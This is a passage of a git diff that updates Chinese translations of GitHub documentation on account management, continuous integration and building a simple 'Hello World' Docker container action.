电子邮件地址创作的任何提交从一个帐户转移到另一个帐户。 如果要删除的帐户使用了“将我的电子邮件地址设为私有”选项,则无法将要删除的帐户创作的提交转移到要保留的帐户。 + +{% endwarning %} + +1. [将任何存储库从要删除的帐户转移](/articles/how-to-transfer-a-repository)到要保留的帐户。 议题、拉取请求和 wiki 也会转让。 确认要保留的帐户中存在仓库。 +2. [更新已移动存储库的任何本地克隆中的远程 URL](/github/getting-started-with-github/managing-remote-repositories)。 +3. [删除不会再使用的帐户](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account)。 +4. 要将过去的提交归因于新帐户,请将用于创作提交的电子邮件地址添加到要保留的帐户。 有关详细信息,请参阅“[为什么我的贡献没有在我的个人资料中显示?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)” + +## 延伸阅读 + +- [{% data variables.product.prodname_dotcom %} 帐户类型](/articles/types-of-github-accounts) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md index aedaff2bc8..25ab4d853d 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md @@ -1,6 +1,6 @@ --- -title: Best practices for leaving your company -intro: 'If you use your account on {% data variables.product.product_name %} for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization.' +title: 关于离开公司的最佳实践 +intro: '如果你的 {% data variables.product.product_name %} 帐户同时用于个人和工作用途,那么你在离开公司或组织的时候需要注意一些问题。' redirect_from: - /articles/best-practices-for-leaving-your-company - /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company @@ -13,31 +13,36 @@ versions: topics: - Accounts shortTitle: Leaving your company +ms.openlocfilehash: c288584891981eab7ffe4204e2028b0e70cf1d08 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147687113' --- +在离开公司之前,请确保在个人帐户中更新以下信息: -Before you leave your company, make sure you update the following information in your personal account: +- 通过[在电子邮件设置中删除公司电子邮件地址](/articles/changing-your-primary-email-address)来取消其验证。 然后,您可以在不验证的情况下重新添加它,以保留与您的帐户相关联的所有相关提交。 +- [将你的主电子邮件地址](/articles/changing-your-primary-email-address)从公司电子邮件地址更改为个人电子邮件地址。 +- [验证新的主电子邮件地址](/articles/verifying-your-email-address)。 +- [更改你的 GitHub 用户名](/articles/changing-your-github-username)以删除对公司或组织的任何引用(如有必要)。 +- 如果为个人帐户启用了双重 (2FA) 身份验证,请确保由自己(而不是你的公司)控制你已配置的 2FA 身份验证方法。 有关详细信息,请参阅“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)”。 -- Unverify your company email address by [deleting it in your Email settings](/articles/changing-your-primary-email-address). You can then re-add it without verifying to keep any associated commits linked to your account. -- [Change your primary email address](/articles/changing-your-primary-email-address) from your company email to your personal email. -- [Verify your new primary email address](/articles/verifying-your-email-address). -- [Change your GitHub username](/articles/changing-your-github-username) to remove any references to your company or organization, if necessary. -- If you've enabled two-factor (2FA) authentication for your personal account, make sure that you (not your company) control the 2FA authentication method you have configured. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)." +## 离开组织 -## Leaving organizations +如果你在使用属于组织的存储库,则应[删除自己的组织成员身份](/articles/removing-yourself-from-an-organization)。 请注意,如果你是组织所有者,应先将[组织的所有权转让](/articles/transferring-organization-ownership)给其他人。 -If you've been working with repositories that belong to an organization, you'll want to [remove yourself as a member of the organization](/articles/removing-yourself-from-an-organization). Note that if you are the organization owner, you should first [transfer ownership of the organization](/articles/transferring-organization-ownership) to another person. +除非使用的是 {% data variables.product.prodname_managed_user %},否则即使离开组织,你仍然可以访问你的个人帐户。 有关 {% data variables.product.prodname_emus %} 的详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于 {% data variables.product.prodname_emus %}]({% ifversion not ghec%}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %}”。{% else %}。{% endif %} -Unless you're using a {% data variables.enterprise.prodname_managed_user %}, you'll still be able to access your personal account, even after leaving the organization. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}]({% ifversion not ghec%}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +## 删除与个人仓库的职业关联 -## Removing professional associations with personal repositories +如果你在属于其他人的个人帐户的存储库中与其进行了专业协作,则应从这些存储库中[删除自己的协作者身份](/articles/removing-yourself-from-a-collaborator-s-repository)。 -If you've been collaborating professionally with another person on repositories that belong to their personal account, you'll want to [remove yourself as a collaborator](/articles/removing-yourself-from-a-collaborator-s-repository) from those repositories. - -- [Stop watching repositories](https://github.com/watching) related to your work. You won't want those notifications anymore! -- [Transfer repositories you own](/articles/how-to-transfer-a-repository) that others may need to continue working on after you leave. -- [Delete forks that belong to you](/articles/deleting-a-repository) that are related to the work you were doing. Don't worry, deleting a fork doesn't delete the upstream repository. -- Delete local copies of your forks that may exist on your computer: +- [停止关注与工作相关的存储库](https://github.com/watching)。 您不再需要这些通知了! +- [转让你拥有的存储库](/articles/how-to-transfer-a-repository),在你离开后,其他人可能需要继续使用该存储库处理工作。 +- [删除与你的工作相关且属于你的分支](/articles/deleting-a-repository)。 不用担心,删除复刻不会删除上游仓库。 +- 删除您的计算机上可能存在的复刻本地副本: ```shell -$ rm -rf WORK_DIRECTORY +$ rm -rf work_directory ``` diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md index ddfab588a9..5ee9648c36 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md @@ -1,5 +1,5 @@ --- -title: Converting a user into an organization +title: 将用户转换为组织 redirect_from: - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization - /articles/explaining-the-account-transformation-warning @@ -8,7 +8,7 @@ redirect_from: - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization -intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization. +intro: 可以将个人帐户转换为组织。 这样可以对属于组织的仓库设置更细化的权限。 versions: fpt: '*' ghes: '*' @@ -17,58 +17,60 @@ versions: topics: - Accounts shortTitle: User into an organization +ms.openlocfilehash: 8b99bd119a9fa061c025a4fcc299d7ace31d23eb +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147687079' --- {% warning %} -**Warning**: Before converting a user into an organization, keep these points in mind. +警告:在将用户转换为组织之前,请记住以下几点。 -* You will **no longer** be able to sign into the converted personal account. -* You will **no longer** be able to create or modify gists owned by the converted personal account. -* An organization **cannot** be converted back to a user. -* The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the personal account that's being converted, not any of the personal account's collaborators. -* Any {% data variables.product.prodname_github_apps %} installed on the converted personal account will be uninstalled. -* Any commits made with the converted personal account **will no longer be linked** to that account. The commits themselves **will** remain intact. -* Any existing comments made by the converted personal account **will no longer be linked** to that account. The comments themselves **will** remain intact, but will be associated with the `ghost` user. -* Any forks of private repositories made with the converted personal account will be deleted. +* 你将无法再登录转换后的个人帐户。 +* 你将无法再创建或修改转换后的个人帐户所拥有的 Gist。 +* 组织无法转换回用户。 +* 不会将 SSH 密钥、OAuth 标记、作业配置文件、反应和关联的用户信息传输到组织。 这只适用于被转换的个人帐户,而不适用于该个人帐户的任何协作者。 +* 使用转换后的个人帐户所做的任何提交将不再链接到该帐户。 提交本身将保持不变。 +* 转换后的个人帐户所做的任何现有注释将不再链接至该帐户。 注释本身将保持不变,但会与 `ghost` 用户关联。 +* 将删除使用转换后的个人帐户创建的任何专用存储库的分支。 {% endwarning %} {% ifversion fpt or ghec or ghes %} -## Keep your personal account and create a new organization manually +## 保留个人帐户并手动创建新组织 -If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your personal account into an organization. +如果希望组织的名称与目前用于个人帐户的名称相同,或者要保留个人帐户的信息不变,则必须创建一个新组织,然后将存储库转让给该组织,而不是将个人帐户转换为组织。 -1. To retain your current personal account name for your personal use, [change the name of your personal account](/articles/changing-your-github-username) to something new and wonderful. -2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal account. -3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.{% endif %} +1. 要保留当前个人帐户名称以供个人使用,[请将个人帐户名称更改为](/articles/changing-your-github-username)一个好听的新名称。 +2. 使用个人帐户的原始名称[创建新组织](/articles/creating-a-new-organization-from-scratch)。 +3. [将存储库转移到](/articles/transferring-a-repository)新的组织帐户。{% endif %} -## Convert your personal account into an organization automatically +## 自动将个人帐户转换为组织 -You can also convert your personal account directly into an organization. Converting your account: - - Preserves the repositories as they are without the need to transfer them to another account manually - - Automatically invites collaborators to teams with permissions equivalent to what they had before - {% ifversion fpt or ghec %}- For personal accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %} +也可以将个人帐户直接转换为组织。 转换帐户: + - 按原样保留仓库,无需手动将其转让给另一个帐户 + - 自动邀请协作者加入具有与其之前相同权限的团队 {% ifversion fpt or ghec %}- 对于 {% data variables.product.prodname_pro %} 上的个人帐户,自动将计费转换到[付费的 {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts),无需重新输入付款信息、调整计费周期或随时双倍付款{% endif %} -1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert. -2. [Leave any organizations](/articles/removing-yourself-from-an-organization) the personal account you're converting has joined. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.organizations %} -5. Under "Transform account", click **Turn into an organization**. - ![Organization conversion button](/assets/images/help/settings/convert-to-organization.png) -6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article. - ![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png) -7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization. - ![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png) -8. Choose your new organization's subscription and enter your billing information if prompted. -9. Click **Create Organization**. -10. Sign in to the new personal account you created in step one, then use the context switcher to access your new organization. +1. 创建新的个人帐户,转换后您将用它来登录 GitHub 以及访问组织和仓库。 +2. [退出组织](/articles/removing-yourself-from-an-organization)(你要转换的个人帐户已加入的组织)。 +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %} +5. 在“转换帐户”下,单击“将 转换为组织”。 + ![组织转换按钮](/assets/images/help/settings/convert-to-organization.png) +6. 在 Account Transformation Warning(帐户转换警告)对话框中,查看并确认转换。 请注意,此框中的信息与本文顶部的警告信息相同。 + ![转换警告](/assets/images/help/organizations/organization-account-transformation-warning.png) +7. 在“Transform your user into an organization(将用户转换为组织)”页面的“Choose an organization owner(选择组织所有者)”下,选择您在前面创建的备用个人帐户或您信任的其他用户来管理组织。 + ![添加组织所有者页面](/assets/images/help/organizations/organization-add-owner.png) +8. 选择新组织的订阅,并在提示时输入帐单信息。 +9. 单击“创建组织”。 +10. 登录在第一步中创建的新个人帐户,然后使用上下文切换器访问新组织。 {% tip %} -**Tip**: When you convert a personal account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." +提示:将个人帐户转换为组织时,我们会将属于该帐户的存储库中的协作者作为外部协作者添加到新组织。 然后,你可以根据需要邀请外部协作者成为新组织的成员。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)”。 {% endtip %} -## Further reading -- "[Setting up teams](/articles/setting-up-teams)" -{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %} -- "[Accessing an organization](/articles/accessing-an-organization)" +## 延伸阅读 +- [设置团队](/articles/setting-up-teams) {% ifversion fpt or ghec %}- [邀请用户加入组织](/articles/inviting-users-to-join-your-organization){% endif %} +- [访问组织](/articles/accessing-an-organization) diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md index eed83fb6ff..c93ac3bc0f 100644 --- a/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md +++ b/translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -1,6 +1,6 @@ --- -title: About continuous integration -intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' +title: 关于持续集成 +intro: '您可以直接在 {% data variables.product.prodname_dotcom %} 仓库中通过 {% data variables.product.prodname_actions %} 创建自定义持续集成 (CI) 工作流程。' redirect_from: - /articles/about-continuous-integration - /github/automating-your-workflow-with-github-actions/about-continuous-integration @@ -16,45 +16,48 @@ type: overview topics: - CI shortTitle: Continuous integration +ms.openlocfilehash: 26b9088133ad561900d06a0c885d6b06b9b55861 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880659' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于持续集成 -## About continuous integration +持续集成 (CI) 是一种需要频繁提交代码到共享仓库的软件实践。 频繁提交代码能较早检测到错误,减少在查找错误来源时开发者需要调试的代码量。 频繁的代码更新也更便于从软件开发团队的不同成员合并更改。 这对开发者非常有益,他们可以将更多时间用于编写代码,而减少在调试错误或解决合并冲突上所花的时间。 -Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. +提交代码到仓库时,可以持续创建并测试代码,以确保提交未引入错误。 您的测试可以包括代码语法检查(检查样式格式)、安全性检查、代码覆盖率、功能测试及其他自定义检查。 -When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. +创建和测试代码需要服务器。 您可以在推送代码到仓库之前在本地创建并测试更新,也可以使用 CI 服务器检查仓库中的新代码提交。 -Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. +## 关于使用 {% data variables.product.prodname_actions %} 的持续集成 -## About continuous integration using {% data variables.product.prodname_actions %} - -{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." -{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." +{% ifversion ghae %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在存储库中生成代码并运行测试的工作流。 工作流程可以在您托管的运行器系统上运行。 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)。 +{% else %}使用 {% data variables.product.prodname_actions %} 的 CI 提供可以在仓库中构建代码并运行测试的工作流程。 工作流程可在 {% data variables.product.prodname_dotcom %} 托管的虚拟机或您自行托管的机器上运行。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dotcom %} 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners)”和“[关于自托管运行器](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)”。 {% endif %} -You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. +可以配置 CI 工作流,使其在 {% data variables.product.prodname_dotcom %} 事件发生时(例如,当新代码推送到存储库时)运行、按设定的时间表运行,或在使用存储库分发 Webhook 的外部事件发生时运行。 -{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. +{% data variables.product.product_name %} 运行 CI 测试并在拉取请求中提供每次测试的结果,因此您可以查看分支中的更改是否引入错误。 如果工作流程中的所有 CI 测试通过,您推送的更改可供团队成员审查或合并 如果测试失败,则是其中某项更改导致了失败。 -When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests. +如果在仓库中设置了 CI,{% data variables.product.product_name %} 会分析仓库中的代码,并根据仓库中的语言和框架推荐 CI 工作流程。 例如,如果使用 [Node.js](https://nodejs.org/en/),{% data variables.product.product_name %} 将建议使用入门工作流来安装 Node.js 包并运行测试。 您可以使用 {% data variables.product.product_name %} 建议的 CI 入门工作流程,自定义建议的入门工作流程,或创建自己的自定义工作流程文件来运行 CI 测试。 -![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png) +![建议的持续集成入门工作流程屏幕截图](/assets/images/help/repository/ci-with-actions-template-picker.png) -In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)." +除了帮助设置项目的 CI 工作流程之外,您还可以使用 {% data variables.product.prodname_actions %} 创建跨整个软件开发生命周期的工作流程。 例如,您可以使用操作来部署、封装或发行项目。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_actions %}](/articles/about-github-actions)”。 -For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." +有关常用术语的定义,请参阅“[{% data variables.product.prodname_actions %} 的核心概念](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)”。 -## Starter workflow +## 入门工作流程 -{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks. +{% data variables.product.product_name %} 为各种语言和框架提供 CI 入门工作流程。 -Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}. +在 {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) 存储库{% else %} {% data variables.product.product_location %} 上的 `actions/starter-workflows` 存储库{% endif %}中浏览 {% data variables.product.company_short %} 提供的 CI 入门工作流的完整列表。 -## Further reading +## 延伸阅读 {% ifversion fpt or ghec %} -- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" -{% endif %} +- [管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions){% endif %} diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md new file mode 100644 index 0000000000..871dc61d02 --- /dev/null +++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md @@ -0,0 +1,22 @@ +--- +title: 构建并测试 Node.js 或 Python +shortTitle: Build & test Node.js or Python +intro: You can create a continuous integration (CI) workflow to build and test your project. Use the language selector to show examples for your language of choice. +redirect_from: +- /actions/guides/building-and-testing-nodejs-or-python +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: +- CI +ms.openlocfilehash: aa03416907eb05ac6c31081d51dcb50980a3501f +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145086739" +--- + diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md index 6ea8fbe52c..0ddda1a6c9 100644 --- a/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md +++ b/translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md @@ -1,7 +1,6 @@ --- -title: Creating a Docker container action -shortTitle: Create a Docker container action -intro: 'This guide shows you the minimal steps required to build a Docker container action. ' +title: 创建 Docker 容器操作 +intro: '本指南向您展示构建 Docker 容器操作所需的最少步骤。 ' redirect_from: - /articles/creating-a-docker-container-action - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action @@ -16,47 +15,50 @@ type: tutorial topics: - Action development - Docker +shortTitle: Docker container action +ms.openlocfilehash: f22b361f25f406dfdb1233f4d9ce62f2b6b919dc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147518782' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +在本指南中,您将了解创建和使用打包的 Docker 容器操作所需的基本组件。 本指南的重点是打包操作所需的组件,因此很少讲操作代码的功能。 操作将在日志文件中打印“Hello World”或“Hello [who-to-greet]”(如果您提供自定义名称)。 -In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. - -Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow. +完成此项目后,您应了解如何构建自己的 Docker 容器操作和在工作流程测试该操作。 {% data reusables.actions.self-hosted-runner-reqs-docker %} {% data reusables.actions.context-injection-warning %} -## Prerequisites +## 先决条件 -You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem: +您可能会发现它有助于基本了解 {% data variables.product.prodname_actions %} 环境变量和 Docker 容器文件系统: -- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" -{% ifversion ghae %} -- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)." -{% else %} -- "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem)" -{% endif %} +- “[使用环境变量](/actions/automating-your-workflow-with-github-actions/using-environment-variables)”{% ifversion ghae %} +- “[Docker 容器文件系统](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)” +{% else %} +- “[关于 {% data variables.product.prodname_dotcom %} 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem)”{% endif %} -Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository. +在开始之前,您需要创建 {% data variables.product.prodname_dotcom %} 仓库。 -1. Create a new repository on {% data variables.location.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)." +1. 在 {% data variables.product.product_location %} 上新建存储库。 您可以选择任何仓库名称或如本例一样使用“hello-world-docker-action”。 有关详细信息,请参阅“[创建新存储库](/articles/creating-a-new-repository)”。 -1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." +1. 将仓库克隆到计算机。 有关详细信息,请参阅“[克隆存储库](/articles/cloning-a-repository)”。 -1. From your terminal, change directories into your new repository. +1. 从您的终端,将目录更改为新仓库。 ```shell{:copy} cd hello-world-docker-action ``` -## Creating a Dockerfile +## 创建 Dockerfile -In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)." +在新的 `hello-world-docker-action` 目录中,创建一个新的 `Dockerfile` 文件。 如果你有问题,请确保你的文件名正确大写(使用大写字母 `D` 但不要大写 `f`)。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的 Dockerfile 支持](/actions/creating-actions/dockerfile-support-for-github-actions)”。 **Dockerfile** ```Dockerfile{:copy} @@ -70,12 +72,11 @@ COPY entrypoint.sh /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] ``` -## Creating an action metadata file +## 创建操作元数据文件 -Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." +在上面创建的 `hello-world-docker-action` 目录中创建一个新的 `action.yml` 文件。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。 -{% raw %} -**action.yml** +{% raw %} action.yml ```yaml{:copy} # action.yml name: 'Hello World' @@ -96,63 +97,50 @@ runs: ``` {% endraw %} -This metadata defines one `who-to-greet` input and one `time` output parameter. To pass inputs to the Docker container, you should declare the input using `inputs` and pass the input in the `args` keyword. Everything you include in `args` is passed to the container, but for better discoverability for users of your action, we recommended using inputs. +此元数据定义一个 `who-to-greet` 输入和一个 `time` 输出参数。 若要将输入传递给 Docker 容器,应使用 `inputs` 声明输入并在 `args` 关键字中传递输入。 你包含在 `args` 中的所有内容都会传递给容器,但为了让用户更好地发现你的操作,建议使用输入。 -{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image. +{% data variables.product.prodname_dotcom %} 将从 `Dockerfile` 构建映像,然后使用此映像在新容器中运行命令。 -## Writing the action code +## 编写操作代码 -You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file. +您可以选择任何基础 Docker 映像,并因此为您的操作选择任何语言。 以下 shell 脚本示例使用 `who-to-greet` 输入变量在日志文件中打印“Hello [who-to-greet]”。 -Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must {% ifversion actions-save-state-set-output-envs %}write them to the `$GITHUB_OUTPUT` environment file: `echo "=" >> $GITHUB_OUTPUT`{% else %}use a workflow command in a specific syntax: `echo "::set-output name=::"`{% endif %}. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)." +接下来,该脚本会获取当前时间并将其设置为作业中稍后运行的操作可以使用的输出变量。 为便于 {% data variables.product.prodname_dotcom %} 识别输出变量,必须以特定语法使用工作流命令:`echo "::set-output name=::"`。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流命令](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)”。 -1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory. +1. 在 `hello-world-docker-action` 目录中创建一个新的 `entrypoint.sh` 文件。 -1. Add the following code to your `entrypoint.sh` file. +1. 将以下代码添加到 `entrypoint.sh` 文件。 - **entrypoint.sh** + entrypoint.sh ```shell{:copy} #!/bin/sh -l echo "Hello $1" time=$(date) -{%- ifversion actions-save-state-set-output-envs %} - echo "time=$time" >> $GITHUB_OUTPUT -{%- else %} echo "::set-output name=time::$time" -{%- endif %} ``` - If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see 